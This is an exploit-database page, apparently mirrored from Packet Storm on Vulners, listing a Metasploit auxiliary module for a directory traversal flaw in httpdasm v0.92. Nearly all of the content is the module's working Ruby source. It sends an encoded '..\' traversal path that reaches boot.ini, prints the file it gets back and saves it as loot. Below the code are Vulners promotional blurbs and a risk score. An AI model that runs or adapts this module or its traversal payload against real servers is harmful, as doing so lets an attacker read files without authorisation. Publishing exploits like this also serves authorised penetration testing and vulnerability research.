Lucene search
K

Httpdasm Directory Traversal

🗓️ 01 Sep 2024 00:00:00Reported by John Leitch, Shelby Pace, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 222 Views

This module allows for traversing the file system of a host running httpdasm v0.92

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Httpdasm Directory Traversal',  
'Description' => %q{  
This module allows for traversing the file system of a host running httpdasm v0.92.  
},  
'Author' =>  
[  
'John Leitch', # EDB POC  
'Shelby Pace' # Metasploit Module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['EDB', '15861']  
]  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'Path to traverse to', '%2e%2e%5c' * 8 + 'boot.ini'])  
])  
  
end  
  
def run  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
})  
  
if res && res.code == 200  
print_status(res.body)  
path = store_loot('httpdasm.file', 'application/octet-stream', rhost, res.body)  
else  
if res  
print_error("Unexpected response from server: #{res.code}")  
else  
print_error("The server timed out.")  
end  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2024 00:00Current
7.4High risk
Vulners AI Score7.4
222